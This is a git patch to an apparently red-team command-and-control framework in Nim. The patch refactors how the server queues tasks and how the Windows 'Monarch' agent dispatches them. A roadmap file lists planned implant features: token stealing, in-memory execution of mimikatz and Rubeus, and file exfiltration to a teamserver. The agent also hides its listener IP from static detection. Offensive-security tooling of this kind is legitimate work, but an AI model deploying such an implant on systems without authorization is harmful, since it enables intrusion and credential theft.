From 71ff092975fcc9b715d309de848742c7ad90decc Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Tue, 8 Jul 2025 23:10:19 +0200 Subject: [PATCH] Refactor redundant code for better extensibility with new commands. --- agents/commands.md | 42 ++++++++++++++ agents/monarch/monarch.nim | 2 +- agents/monarch/task.nim | 63 +++++++------------- agents/monarch/types.nim | 14 ++--- server/agent/commands/commands.nim | 45 -------------- server/agent/commands/filesystem.nim | 87 ---------------------------- server/agent/commands/shell.nim | 19 ------ server/agent/commands/sleep.nim | 28 --------- server/agent/interact.nim | 2 +- server/agent/task.nim | 48 +++++++++++++++ 10 files changed, 120 insertions(+), 230 deletions(-) create mode 100644 agents/commands.md delete mode 100644 server/agent/commands/commands.nim delete mode 100644 server/agent/commands/filesystem.nim delete mode 100644 server/agent/commands/shell.nim delete mode 100644 server/agent/commands/sleep.nim create mode 100644 server/agent/task.nim diff --git a/agents/commands.md b/agents/commands.md new file mode 100644 index 0000000..5fbd422 --- /dev/null +++ b/agents/commands.md @@ -0,0 +1,42 @@ +# "Monarch" Agent commands: + +House-keeping +------------- +- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent + +Basic API-only Commands +----------------------- +- [x] pwd : Get current working directory +- [x] cd : Change directory +- [x] ls/dir : List all files in directory (including hidden ones) +- [x] rm : Remove a file +- [x] rmdir : Remove a empty directory +- [ ] cat/type : Display contents of a file +- [ ] env : Display environment variables +- [ ] ps : List processes +- [ ] whoami : Get UID and privileges, etc. + +- [ ] token : Token impersonation + - [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser) + - [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser) + - [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike +- [ ] rev2self : Revert to original logon session (RevertToSelf) + +Execution Commands +------------------ +- [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx) +- [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o) + - Read from listener endpoint directly to memory + - Base for all kinds of BOFs (Situational Awareness, ...) +- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe) +- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe ) + +Post-Exploitation +----------------- +- [ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks) + - File to be downloaded moved to specific endpoint on listener, e.g. GET ////file + - Read from webserver and written to disk +- [ ] download : Download file from agent to teamserver + - Create loot directory for agent to store files in + - Read file into memory and send byte stream to specific endpoint, e.g. POST ///-task/file + - Encrypt file in-transit!!! diff --git a/agents/monarch/monarch.nim b/agents/monarch/monarch.nim index 2720d51..673cba3 100644 --- a/agents/monarch/monarch.nim +++ b/agents/monarch/monarch.nim @@ -2,7 +2,6 @@ import strformat, os, times import winim import ./[types, http, task] -import commands/shell const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 @@ -32,6 +31,7 @@ proc main() = # Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 + # Create agent configuration var config = AgentConfig( listener: ListenerUuid, ip: address, diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim index 52b098b..3f62e40 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/task.nim @@ -1,53 +1,32 @@ -import strutils +import strutils, tables import ./types import ./commands/commands proc handleTask*(task: Task, config: AgentConfig): TaskResult = + var taskResult: TaskResult + + let handlers = { + ExecuteShell: taskShell, + Sleep: taskSleep, + GetWorkingDirectory: taskPwd, + SetWorkingDirectory: taskCd, + ListDirectory: taskDir, + RemoveFile: taskRm, + RemoveDirectory: taskRmdir + }.toTable + # Handle task command - case task.command: - - of ExecuteShell: - let taskResult = taskShell(task) - echo taskResult.data - return taskResult + taskResult = handlers[task.command](task) + echo taskResult.data + # Handle actions on specific commands + case task.command: of Sleep: - # Execute task - let taskResult = taskSleep(task) - - # Update sleep delay in agent config if taskResult.status == Completed: config.sleep = parseInt(task.args[0]) - - # Return result - return taskResult - - of GetWorkingDirectory: - let taskResult = taskPwd(task) - echo taskResult.data - return taskResult - - of SetWorkingDirectory: - let taskResult = taskCd(task) - echo taskResult.data - return taskResult - - of ListDirectory: - let taskResult = taskDir(task) - echo taskResult.data - return taskResult - - of RemoveFile: - let taskResult = taskRm(task) - echo taskResult.data - return taskResult - - of RemoveDirectory: - let taskResult = taskRmdir(task) - echo taskResult.data - return taskResult - else: - echo "Not implemented" - return nil \ No newline at end of file + discard + + # Return the result + return taskResult \ No newline at end of file diff --git a/agents/monarch/types.nim b/agents/monarch/types.nim index 53a69ca..c0a3550 100644 --- a/agents/monarch/types.nim +++ b/agents/monarch/types.nim @@ -1,4 +1,4 @@ -import winim +import winim, tables import ../../server/types export Task, TaskCommand, TaskResult, TaskStatus @@ -24,9 +24,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = wProductType*: UCHAR wReserved*: UCHAR -type - AgentConfig* = ref object - listener*: string - ip*: string - port*: int - sleep*: int \ No newline at end of file +type + AgentConfig* = ref object + listener*: string + ip*: string + port*: int + sleep*: int \ No newline at end of file diff --git a/server/agent/commands/commands.nim b/server/agent/commands/commands.nim deleted file mode 100644 index ad19e40..0000000 --- a/server/agent/commands/commands.nim +++ /dev/null @@ -1,45 +0,0 @@ -import ./[shell, sleep, filesystem] -export shell, sleep, filesystem - -#[ - "Monarch" Agent commands: - - House-keeping - ------------- - [X] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent - - Basic API-only Commands - ----------------------- - [X] pwd : Get current working directory - [X] cd : Change directory - [X] ls/dir : List all files in directory (including hidden ones) - [ ] cat/type : Display contents of a file - [ ] env : Display environment variables - [ ] ps : List processes - [ ] whoami : Get UID and privileges, etc. - - [ ] token : Token impersonation - [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser) - [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser) - [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike - [ ] rev2self : Revert to original logon session (RevertToSelf) - - Execution Commands - ------------------ - [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx) - [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o) - - Read from listener endpoint directly to memory - - Base for all kinds of BOFs (Situational Awareness, ...) - [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe) - [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe ) - - Post-Exploitation - ----------------- - [ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks) - - File to be downloaded moved to specific endpoint on listener, e.g. GET ////file - - Read from webserver and written to disk - [ ] download : Download file from agent to teamserver - - Create loot directory for agent to store files in - - Read file into memory and send byte stream to specific endpoint, e.g. POST ///-task/file - - Encrypt file in-transit!!! -]# \ No newline at end of file diff --git a/server/agent/commands/filesystem.nim b/server/agent/commands/filesystem.nim deleted file mode 100644 index 6831f07..0000000 --- a/server/agent/commands/filesystem.nim +++ /dev/null @@ -1,87 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times -import ../../types - -proc taskGetWorkingDirectory*(cq: Conquest) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: GetWorkingDirectory, - args: @[], - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to get current working directory.") - -proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: SetWorkingDirectory, - args: arguments, - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to change current working directory.") - -proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: ListDirectory, - args: arguments, - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to list files and directories.") - -proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: RemoveFile, - args: arguments, - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to remove file.") - -proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: RemoveDirectory, - args: arguments, - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to remove directory.") diff --git a/server/agent/commands/shell.nim b/server/agent/commands/shell.nim deleted file mode 100644 index d07617f..0000000 --- a/server/agent/commands/shell.nim +++ /dev/null @@ -1,19 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times -import ../../types - -proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: ExecuteShell, - args: arguments, - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to execute shell command.") \ No newline at end of file diff --git a/server/agent/commands/sleep.nim b/server/agent/commands/sleep.nim deleted file mode 100644 index c26c474..0000000 --- a/server/agent/commands/sleep.nim +++ /dev/null @@ -1,28 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times -import ../../types -import ../../db/database - -proc taskExecuteSleep*(cq: Conquest, delay: int) = - - if delay < 0: - cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.") - return - - # Update 'sleep' value in database - if not cq.dbUpdateSleep(cq.interactAgent.name, delay): - return - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: Sleep, - args: @[$delay], - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to update sleep settings.") \ No newline at end of file diff --git a/server/agent/interact.nim b/server/agent/interact.nim index e757d0b..19a7066 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -1,5 +1,5 @@ import argparse, times, strformat, terminal, nanoid -import ./commands/commands +import ./task import ../[types] #[ diff --git a/server/agent/task.nim b/server/agent/task.nim new file mode 100644 index 0000000..892e1b8 --- /dev/null +++ b/server/agent/task.nim @@ -0,0 +1,48 @@ +import nanoid, sequtils, strutils, strformat, terminal, times +import ../types +import ../db/database + +# Generic task creation procedure +proc createTask(cq: Conquest, command: TaskCommand, args: seq[string], message: string) = + let + date = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: command, + args: args, + ) + + cq.interactAgent.tasks.add(task) + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message) + +# Agent task functions +proc taskExecuteSleep*(cq: Conquest, delay: int) = + if delay < 0: + cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.") + return + + # Update 'sleep' value in database + if not cq.dbUpdateSleep(cq.interactAgent.name, delay): + return + + # Use the generic createTask function + createTask(cq, Sleep, @[$delay], "Tasked agent to update sleep settings.") + +proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) = + cq.createTask(ExecuteShell, arguments, "Tasked agent to execute shell command.") + +proc taskGetWorkingDirectory*(cq: Conquest) = + cq.createTask(GetWorkingDirectory, @[], "Tasked agent to get current working directory.") + +proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) = + cq.createTask(SetWorkingDirectory, arguments, "Tasked agent to change current working directory.") + +proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = + cq.createTask(ListDirectory, arguments, "Tasked agent to list files and directories.") + +proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) = + cq.createTask(RemoveFile, arguments, "Tasked agent to remove file.") + +proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) = + cq.createTask(RemoveDirectory, arguments, "Tasked agent to remove directory.")